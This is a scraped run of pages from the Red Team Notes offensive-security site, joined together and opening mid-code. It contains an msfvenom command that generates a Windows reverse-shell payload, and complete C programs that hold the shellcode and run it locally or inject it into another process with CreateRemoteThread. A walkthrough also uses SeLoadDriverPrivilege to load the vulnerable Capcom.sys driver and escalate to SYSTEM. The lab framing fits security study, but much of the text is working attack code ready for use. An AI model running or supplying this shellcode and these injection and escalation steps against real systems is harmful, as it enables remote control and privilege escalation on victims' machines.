02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; } --- # Binary Exploitation | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation.md) . [32-bit Stack-based Buffer Overflow](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow) [64-bit Stack-based Buffer Overflow](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow) [Return-to-libc / ret2libc](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc) [ROP Chaining: Return Oriented Programming](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming) [SEH Based Buffer Overflow](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/seh-based-buffer-overflow) [Format String Bug](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/format-string-bug) [PreviousInjecting .NET Assembly to an Unmanaged Process](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process) [Next32-bit Stack-based Buffer Overflow](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow) --- # CreateRemoteThread Shellcode Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection.md) . This lab explores some classic ways of injecting shellcode into a process memory and executing it. [](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection#executing-shellcode-in-local-process) Executing Shellcode in Local Process ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ First of - a simple test of how to execute the shellcode directly from a C++ program. Generating shellcode for a reverse shell: Copy msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqR6PBvt6un_9u3h_E%252F-LKqSrSYkt1kbPN9x44Z%252Finject-shellcode.png%3Falt%3Dmedia%26token%3D91c9b33d-b478-42b6-ad08-2dda88639be3&width=768&dpr=3&quality=100&sign=16915a6f&sv=2) C++ code to injectd and invoke the shellcode: Before compiling, for the sake of curiosity, let's have a look at the generated shellcode binary in a disassembler so we can get a rough idea of how our C++ code gets translated into machine code for x64: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqTG78Bqi-vh8RB_Xy%252F-LKqahTK9pi1rUvAXPfh%252Finject-ida.png%3Falt%3Dmedia%26token%3D23235c59-f22f-41cd-a3cd-324bf29f79fb&width=768&dpr=3&quality=100&sign=70c9f87e&sv=2) Also for the sake of curiosity, I wanted to see how the injected shellcode looks in the injected process and to see where it actually is. With a 32-bit shellcode binary (msfvenom -p windows/shell\_reverse\_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \\x00\\x0a\\x0d), the shellcode is nicely located in the main thread's stack: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqc47T4zrwL_UIR9Bv%252F-LKqdGGLmopfHeiJ0iFd%252Finject-shellcode-location.png%3Falt%3Dmedia%26token%3D5d7b30f5-55e7-4ebb-aeb4-db5c6c1709eb&width=768&dpr=3&quality=100&sign=615642c&sv=2) Back to the x64 bit shellcode - compiling and executing the binary gives us the anticipated reverse shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqR6PBvt6un_9u3h_E%252F-LKqT11Q9z_00emetUej%252Finject-process.png%3Falt%3Dmedia%26token%3Df9e337e8-eb04-4428-bbaf-026713a35731&width=768&dpr=3&quality=100&sign=576e3188&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqR6PBvt6un_9u3h_E%252F-LKqT2c9uwDdLzSuP0Tl%252Finject-reverse-shell.png%3Falt%3Dmedia%26token%3D8572a696-511f-4360-bc9e-618ccd779625&width=768&dpr=3&quality=100&sign=20be2519&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection#executing-shellcode-in-remote-process) Executing Shellcode in Remote Process -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The below code will inject the shellcode into a notepad.exe process with PID 5428 which will initiate a reverse shell back to the attacker: 59KB [inject1.exe](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKvzVPIMWtGbzHZfYJt%2F-LKvzZ53y4nPkcuVXAyj%2Finject1.exe?alt=media&token=871f99d6-be5c-40f0-bbe7-965d9636573d) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKvzVPIMWtGbzHZfYJt%2F-LKvzZ53y4nPkcuVXAyj%2Finject1.exe?alt=media&token=871f99d6-be5c-40f0-bbe7-965d9636573d) Inject shellcode to Remote Process w/ CreateRemoteThread Below shows notepad before shellcode injection - it has not initiated any TCP connections yet: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqnhlJoDBlNbMZtuzp%252F-LKqnz-dw-MxvKHkSzQs%252Finject-notepad-not-injected.png%3Falt%3Dmedia%26token%3Dfe24516f-b6a3-4afb-adf7-c33607c83efa&width=768&dpr=3&quality=100&sign=c46be3d&sv=2) Once the code is compiled and executed, monitoring the API calls taking place on the system reveals that notepad is doing something it should not ever be doing - spawning a cmd.exe and initiating a TCP connection: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqnhlJoDBlNbMZtuzp%252F-LKqnz-lHAfIQhUO3CIF%252Finject-api-monitoring.png%3Falt%3Dmedia%26token%3Dd38f15c0-f477-4020-84f1-674eeee25516&width=768&dpr=3&quality=100&sign=fa18f4b5&sv=2) Checking the notepad in ProcExplorer again reveals an established TCP connection with a cmd.exe as a child: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKqnhlJoDBlNbMZtuzp%252F-LKqnz-ebiRxXckjQAxl%252Finject-notepad-injected.png%3Falt%3Dmedia%26token%3D8367e6e8-b7b1-4f00-80db-91b1f62a5f2c&width=768&dpr=3&quality=100&sign=c04c78d1&sv=2) Note how the notepad has a `ws2_32.dll` module loaded which should never happen in normal circumstances, since that module is responsible for `sockets` management: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKwCMNJ_R2iTLl8I_-N%252F-LKwCP68KdYVJms-RpxK%252Finject-notepad-dll.png%3Falt%3Dmedia%26token%3Dc7c93971-c400-4021-8271-c31a141a29cc&width=768&dpr=3&quality=100&sign=97c34377&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection#references) References -------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)OpenProcess function (processthreadsapi.h) - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)VirtualAllocEx function (memoryapi.h) - Win32 appsMicrosoftLearn](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Process Security and Access Rights - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)VirtualAlloc function (memoryapi.h) - Win32 appsMicrosoftLearn](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)CreateRemoteThread function (processthreadsapi.h) - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)WriteProcessMemory function (memoryapi.h) - Win32 appsMicrosoftLearn](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx) [PreviousCode & Process Injection](https://www.ired.team/offensive-security/code-injection-process-injection) [NextDLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection) Last updated 7 years ago * [Executing Shellcode in Local Process](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection#executing-shellcode-in-local-process) * [Executing Shellcode in Remote Process](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection#executing-shellcode-in-remote-process) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection#references) inject-local-process.cpp Copy #include "stdafx.h" #include "Windows.h" int main() { unsigned char shellcode[] = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78" "\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e" "\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09" "\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3" "\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff" "\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d" "\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8" "\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69" "\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1" "\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e" "\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f" "\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa" "\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e" "\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2" "\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5" "\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3" "\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61" "\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b" "\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2" "\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63" "\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6" "\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55" "\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec" "\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b" "\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d" "\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b" "\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2" "\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68" "\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8" "\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61" "\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad" "\x94\x64\x5d\xae\x2b\x90\xe1\xec"; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; } inject-remote-process.cpp Copy #include "stdafx.h" #include "Windows.h" int main(int argc, char *argv[]) { unsigned char shellcode[] = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78" "\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e" "\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09" "\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3" "\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff" "\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d" "\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8" "\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69" "\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1" "\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e" "\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f" "\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa" "\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e" "\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2" "\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5" "\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3" "\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61" "\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b" "\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2" "\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63" "\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6" "\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55" "\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec" "\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b" "\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d" "\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b" "\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2" "\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68" "\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8" "\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61" "\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad" "\x94\x64\x5d\xae\x2b\x90\xe1\xec"; HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; printf("Injecting to PID: %i", atoi(argv[1])); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle); return 0; } --- # Privileged Accounts and Token Privileges | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges.md) . Administrators, Domain Admins, Enterprise Admins are well known AD groups that allow for privilege escalation, that pentesters and red teamers will aim for in their engagements, but there are other account memberships and access token privileges that can also be useful during security assesments when chaining multiple attack vectors. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#account-operators) Account Operators -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Allows creating non administrator accounts and groups on the domain * Allows logging in to the DC locally Note the spotless' user membership: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTx62tAa4ydjhz6ZZzI%252F-LTx6i9cMfOTta_TgJkZ%252FScreenshot%2520from%25202018-12-17%252017-01-38.png%3Falt%3Dmedia%26token%3Da545cf9f-7bb8-4566-8d17-5e3c50e60a7c&width=768&dpr=3&quality=100&sign=12db0617&sv=2) However, we can still add new users: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTx62tAa4ydjhz6ZZzI%252F-LTx6j_Iead_CNebgMJV%252FScreenshot%2520from%25202018-12-17%252017-01-47.png%3Falt%3Dmedia%26token%3De0b4021e-ade0-4e03-8d58-0817803b855e&width=768&dpr=3&quality=100&sign=73cb761d&sv=2) As well as login to DC01 locally: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTx62tAa4ydjhz6ZZzI%252F-LTx7ZTZaGT0aJmV4ISE%252FScreenshot%2520from%25202018-12-17%252017-05-35.png%3Falt%3Dmedia%26token%3D7a185bdd-fe41-40a2-9083-c10669036e84&width=768&dpr=3&quality=100&sign=a2440a57&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#server-operators) Server Operators ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ This membership allows users to configure Domain Controllers with the following privileges: * Allow log on locally * Back up files and directories * Change the system time * Change the time zone * Force shutdown from a remote system * Restore files and directories * Shut down the system Note how we cannot access files on the DC with current membership: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTxBjvedQD59i7Lqvjh%252F-LTxF30kj5kTOqepO4DK%252FScreenshot%2520from%25202018-12-17%252017-38-43.png%3Falt%3Dmedia%26token%3D5bfef9b9-8414-451e-822f-e20291059cf9&width=768&dpr=3&quality=100&sign=46af156f&sv=2) However, if the user belongs to `Server Operators`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTxBjvedQD59i7Lqvjh%252F-LTxFAt8hZiPk2gFEOVG%252FScreenshot%2520from%25202018-12-17%252017-38-58.png%3Falt%3Dmedia%26token%3Dd30c5f83-6bad-4733-bf8f-df44198da0a3&width=768&dpr=3&quality=100&sign=4dcad737&sv=2) The story changes: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTxBjvedQD59i7Lqvjh%252F-LTxFH9qAsohsIcc9tSm%252FScreenshot%2520from%25202018-12-17%252017-39-08.png%3Falt%3Dmedia%26token%3D73c5fd54-96af-49f5-a944-904a1c85452f&width=768&dpr=3&quality=100&sign=24428038&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#backup-operators) Backup Operators ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ As with `Server Operators` membership, we can access the `DC01` file system if we belong to `Backup Operators`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTxFe01dkUp95p44dNE%252F-LTxFsmrRbaPg-_-2Fgj%252FScreenshot%2520from%25202018-12-17%252017-42-47.png%3Falt%3Dmedia%26token%3D6d4ddbe0-1a78-422f-b55c-d21e62e1f131&width=768&dpr=3&quality=100&sign=1e0b608e&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) SeLoadDriverPrivilege ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka `NT\System`. See how `offense\spotless` user has this privilege: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTyHQKnQCI2htdbX6G2%252F-LTyK0ejR4KyPa4fpTAR%252FScreenshot%2520from%25202018-12-17%252022-40-30.png%3Falt%3Dmedia%26token%3D39fe6389-6b18-4322-8afc-5346c6f860c6&width=768&dpr=3&quality=100&sign=bf806fb8&sv=2) `Whoami /priv` shows the privilege is disabled by default: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTyHQKnQCI2htdbX6G2%252F-LTyKDqYVV1XFCM0SClP%252FScreenshot%2520from%25202018-12-17%252021-59-15.png%3Falt%3Dmedia%26token%3De93b916d-fab1-4160-ba6a-a175ea4b5e5e&width=768&dpr=3&quality=100&sign=e26c9911&sv=2) However, the below code allows enabling that privilege fairly easily: We compile the above, execute and the privilege `SeLoadDriverPrivilege` is now enabled: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTyHQKnQCI2htdbX6G2%252F-LTyLH-MWOkrcKqPv4r3%252FScreenshot%2520from%25202018-12-17%252022-45-54.png%3Falt%3Dmedia%26token%3D35d18f5e-36fb-4ff0-befd-40bf33a63ded&width=768&dpr=3&quality=100&sign=91d5dad9&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#capcom.sys-driver-exploit) Capcom.sys Driver Exploit To further prove the `SeLoadDriverPrivilege` is dangerous, let's exploit it to elevate privileges. Let's build on the previous code and leverage the Win32 API call `ntdll.NtLoadDriver()` to load the malicious kernel driver `Capcom.sys`. Note that lines 55 and 56 of the `privileges.cpp` are: The first one declares a string variable indicating where the vulnerable Capcom.sys driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service) when executing the exploit: Once the above code is compiled and executed, we can see that our malicious `Capcom.sys` driver gets loaded onto the victim system: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTyWsUdKa48PyMRyZ4I%252F-LTyWzFCfAHYYzM7B4JU%252FScreenshot%2520from%25202018-12-17%252022-14-26.png%3Falt%3Dmedia%26token%3D50412dcd-4547-408f-a130-8e506824ba2e&width=768&dpr=3&quality=100&sign=22211758&sv=2) 10KB [Capcom.sys](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTyWsUdKa48PyMRyZ4I%2F-LTyZ9IkoofuWRxlNpUG%2FCapcom.sys?alt=media&token=e4417fb3-f2fd-42ef-9000-d410bc6ceb54) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTyWsUdKa48PyMRyZ4I%2F-LTyZ9IkoofuWRxlNpUG%2FCapcom.sys?alt=media&token=e4417fb3-f2fd-42ef-9000-d410bc6ceb54) Capcom.sys We can now download and compile the Capcom exploit from [https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom) and execute it on the system to elevate our privileges to `NT Authority\System`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTyWsUdKa48PyMRyZ4I%252F-LTyXqhussGJVTLXtiv4%252FScreenshot%2520from%25202018-12-17%252023-40-56.png%3Falt%3Dmedia%26token%3Da3967d5d-7c3b-491a-aaaa-de57acdd3a0e&width=768&dpr=3&quality=100&sign=8b0757b2&sv=2) 